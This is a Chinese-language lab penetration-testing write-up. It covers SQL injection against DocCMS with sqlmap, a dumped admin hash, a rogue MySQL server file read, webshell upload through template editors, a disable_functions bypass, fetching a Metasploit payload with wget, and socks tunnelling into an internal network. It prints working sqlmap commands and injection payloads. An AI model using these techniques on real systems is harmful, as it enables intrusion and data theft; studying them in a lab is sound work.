靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

admin 2022年4月30日12:47:22评论78 views字数 5115阅读17分3秒阅读模式

 

  靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

 

欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注

月神yyds,我第一次觉得自己选对了公司,hvv估计有望了

外网打点发现web服务器有:

DocCMS的sql需要url双重编码绕过,所以sqlmap要tamper:

sqlmap.py -u "http://网站ip/search/?keyword=123" --tamper=chardoubleencode

代码审计之_doccms2016漏洞_whojoe的博客-CSDN博客

代码审计之DocCms漏洞分析-阿里云开发者社区

 得到:current user: 'www_ddd4_com@localhost'

sqlmap identified the following injection point(s) with a total of 112 HTTP(s) requests:
---
Parameter: keyword (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: keyword=-2578' OR 4517=4517#

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: keyword=123' AND GTID_SUBSET(CONCAT(0x716a7a7671,(SELECT (ELT(8175=8175,1))),0x7178717871),8175)-- sYQN

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: keyword=123' AND (SELECT 2008 FROM (SELECT(SLEEP(5)))ohfb)-- tUnc

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: keyword=123' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a7a7671,0x5046774c4d75506444637a6f7a775852614f7751464566447363797445616a637465534857746b6d,0x7178717871),NULL,NULL,NULL,NULL#
---
[21:04:52] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[21:04:52] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[21:04:53] [INFO] fetching current user
current user: 'www_ddd4_com@localhost'
[21:04:53] [INFO] fetched data logged to text files under '/home/zyx/.local/share/sqlmap/output/www.ddd4.com'
[21:04:53] [WARNING] your sqlmap version is outdated

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1
--batch -p keyword -D www_ddd4_com --dump -T doc_user

 | 1 | 192.168.0.107 | <blank> | <blank> | <blank> |
33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0 |
1 | <blank> | <blank> | 10 | admin@localhost | 2020-04-24 19:45:38 | webadmin |
<blank> | <blank> | 1 | 创始人| <blank> | admin | 0 | <blank>
|
+----+---------------+---------+---------+---------+------------------------------------------
-----------------------------------+-----+---------+---------+------+-----------------+-------
--------------+----------+---------+---------+----------+----------+----------+----------+---
--------+-------------+
webadmin admin
33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

 加密解不开,换思路,能不能直接getshell?或者sqlmap -d配合?或者本地搭建环境结合别的漏洞打?信息泄露??爆破?高权限可以替换数据库密文,等价于我们已经把admin的密码替换为我们已知的(思路参考我的第一个靶机hax中,替换root的/etc/passwd密码为123456,但是这种方法需要建立在自己能够有高权限操作数据库的情况下)反正我们能够知道加密函数是:

<?php 
class docEncryption
{
var $enstr = null;
function docEncryption($str)
{
$this->enstr = $str;
}
function get_shal()
{
return sha1($this->enstr);
}
function get_md5()
{
return md5($this->enstr);
}
function get_jxqy3()
{
$tmpMS = $this->get_shal().$this->get_md5();
$tmpNewStr = substr($tmpMS,0,9).'s'.substr($tmpMS,10,9).'h'.substr($tmpMS,20,9).'l'.substr($tmpMS,30,9).'s'.substr($tmpMS,40,9).'u'.substr($tmpMS,50,9).'n'.substr
($tmpMS,60,9).'y'.substr($tmpMS,70,2);
$tmpNewStr = substr($tmpNewStr,-36).substr($tmpNewStr,0,36);
$tmpNewStr = substr($tmpNewStr,0,70);
$tmpNewStr = substr($tmpNewStr,0,14).'j'.substr($tmpNewStr,14,14).'x'.substr($tmpNewStr,28,14).'q'.substr($tmpNewStr,32,14).'y'.substr($tmpNewStr,56,14).'3';
return $tmpNewStr;
}
function to_string()
{
$tmpstr = $this->get_jxqy3();
$tmpstr = substr($tmpstr,-35).substr($tmpstr,0,40);
return $tmpstr;
}
}

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

seay代码审计,发现文件包含漏洞,低版本php5.3.29以及5.3.29之下可以%00截断,算是没用公开的1day,其实圈子里很早很早就有人在用了……,但是%00截断条件很严格,扫描发现主目录下还有phpinfo文件。但是没啥用……做不来了。还能怎么办?开了3306,hydra一把爆破梭哈!

好吧破解不出来……问了大表哥的wp,说的是老版本的linux下(一般是ubuntu),在满足两个条件下,可以实现mysql客户端任意文件读取……

两个条件:

  • 客户端必须启用LOCAL-INFILE支持。

  • 客户端支持非SSL连接

Read MySQL Client's File - lightless blog

如何利用MySQL LOCAL INFILE读取客户端文件 - 安全客,安全资讯平台

脚本poc

 用法参考:MySQL服务端恶意读取客户端文件漏洞 (DDCTF2019和国赛均涉及到这个漏洞) - yunying - 博客园

 注意注意,我们是可控参数实现url上就能去尝试让受害者机器去主动访问我们伪造的服务器,这里其实是有漏洞的。

getshell之后的bypass

Rogue-MySql-Server/rogue_mysql_server.py at master · allyshka/Rogue-MySql-Server · GitHub

这个其实需要社工,我们要让目标机器被社工连接到我们伪造的mysql服务器,就你妈离谱!

然后拿到了目标机器的mysql账户密码,登录进去之后尝试改变admin的账户密码。。。

然后后台在编辑模板那里写shell,但是蚁剑不行,换菜刀,再不行哥斯拉!

拿到菜刀的shell之后,disfunction很多,于是乎,bypass

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

方法有二,putenv函数绕过   ,,,上传bypass.so文件

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

 有时候需要改路径:靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

 改为绝对路径后访问:

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

等很久就命令执行回显了》

反弹shell不行:

linux反弹备忘录 |

远程下载wget,下载一个msf马或者cs。cs在linux下很不好搞,要插件,但是也有部分bug,这次用msf,或者菜刀直接传

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

 不是交互式shell,来一个交互……,但是会乱码,解决方法是:

crtl+z 再按fg的时候就可以把放在后台的应用 可以再次把它调用出来

如果上面的方法不行,那就:

先设置好python shell,再用上面的方法……

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

 对于第一台web服务器的收集和提权

LinEnum linux-exploit-suggester linuxprivchecker

提权方式很多,不赘述,注意的是如果拿到了宝塔面板的后台,也可以提权:

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

这个时候,我们已经算是彻底拿下来第一台机子了,现在需要的是横移

第一层DMZ区域

发现10.10.10.145,和144,网段,加路由挂代理……

这里注意,如果出现浏览器reset,并且 确定了不是服务器本身的问题,那么可能是socks隧道不稳定:

比如:proxychains firefoxy http://10.10.10.144  ,会很卡或者reset,这个时候要考虑换隧道或者工具,这里用了ssocks内网穿透工具……

sock5代理穿透内网

kali

./rcsocks -l 2233 -p 1080 -vv

web服务器上

./rssocks -vv -s 192.168.0.109:1080

web服务器连上kali的1080端口

sudo /etc/proxychains.conf

socks5 192.168.0.109 2333

浏览器代理访问更稳(如果火狐不行请多换几款浏览器):

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

 第二层10.10.10.144最后的目标

从网上下来一个emlog 把带有后门文件的php 设置打包好在emlog 后台上传模板压缩包解
压后即可在模板名的目录生成一个php 后门。(在模板那里,可以传zip压缩包,压缩包里面要是有一句话,就可以getshell)

用metasploit sock4a 代理进的时候菜刀和蚁刀都链接不上后门
现在将菜刀代理进去功能正常,

直接cat /etc/passwd | grep -v nologin

直接浏览器访问ip试试,发现wdcp建站管理系统

默认账号密码,登录后台失败;但是发现可以登录phpmyadmin,看到里面的用户hash

靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

 登录失败可能是时间不对,date -R查看时区改成匹配的时间即可……

然后登录,进去后命令执行……最后懂得都懂了哈哈


原文始发于微信公众号(Haking水友攻防实验室):靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月30日12:47:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场实战|完整linux内网渗透实战笔记(域/非域对于linux其实区别不大+宝塔后台渗透+稻壳DocCMSsql注入)http://cn-sec.com/archives/966017.html

发表评论

匿名网友 填写信息